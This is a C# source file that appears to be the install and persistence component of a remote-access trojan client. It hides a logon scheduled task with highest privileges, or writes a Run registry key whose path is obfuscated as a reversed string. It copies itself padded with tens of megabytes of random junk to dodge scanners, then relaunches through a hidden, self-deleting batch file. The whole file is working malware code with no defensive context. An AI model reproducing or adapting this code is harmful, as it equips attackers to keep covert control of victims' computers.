101 lines
4.1 KiB
C#
101 lines
4.1 KiB
C#
using Client.Helper;
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using Microsoft.VisualBasic;
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using Microsoft.Win32;
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using System;
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using System.Diagnostics;
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using System.IO;
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using System.Security.Principal;
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using System.Threading;
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namespace Client.Install
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{
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class NormalStartup
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{
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public static void Install()
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{
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try
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{
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FileInfo installPath = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile));
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if (Process.GetCurrentProcess().MainModule.FileName != installPath.FullName)
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{
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for (int i = 0; i < 10; i++)
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{
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Thread.Sleep(1000);
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}
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foreach (Process P in Process.GetProcesses())
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{
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try
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{
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if (P.MainModule.FileName == installPath.FullName)
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P.Kill();
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}
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catch { }
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}
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if (Methods.IsAdmin())
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{
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Process proc = new Process
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{
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StartInfo = new ProcessStartInfo
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{
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FileName = "schtasks.exe",
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Arguments = "/create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Path.GetFileNameWithoutExtension(installPath.FullName) + @"""'" + " /tr " + @"""'" + installPath.FullName + @"""'",
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WindowStyle = ProcessWindowStyle.Hidden,
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CreateNoWindow = true,
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}
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};
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proc.Start();
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}
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else
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{
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using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
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{
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key.SetValue(Path.GetFileNameWithoutExtension(installPath.FullName), "\"" + installPath.FullName + "\"");
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}
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}
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FileStream fs;
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if (File.Exists(installPath.FullName))
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{
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File.Delete(installPath.FullName);
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Thread.Sleep(1000);
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}
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fs = new FileStream(installPath.FullName, FileMode.CreateNew);
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byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
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fs.Write(clientExe, 0, clientExe.Length);
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byte[] junk = new byte[new Random().Next(40 * 1024 * 1000, 50 * 1024 * 1000)];
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new Random().NextBytes(junk);
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fs.Write(junk, 0, junk.Length);
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fs.Dispose();
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Methods.ClientExit();
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string batch = Path.GetTempFileName() + ".bat";
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using (StreamWriter sw = new StreamWriter(batch))
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{
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sw.WriteLine("@echo off");
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sw.WriteLine("timeout 3 > NUL");
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sw.WriteLine("START " + "\"" + "\" " + "\"" + installPath.FullName + "\"");
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sw.WriteLine("CD " + Path.GetTempPath());
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sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");
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}
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Process.Start(new ProcessStartInfo()
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{
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FileName = batch,
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CreateNoWindow = true,
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ErrorDialog = false,
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UseShellExecute = false,
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WindowStyle = ProcessWindowStyle.Hidden
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});
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Environment.Exit(0);
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}
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}
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catch (Exception ex)
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{
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Debug.WriteLine("Install Failed : " + ex.Message);
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}
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}
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}
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}
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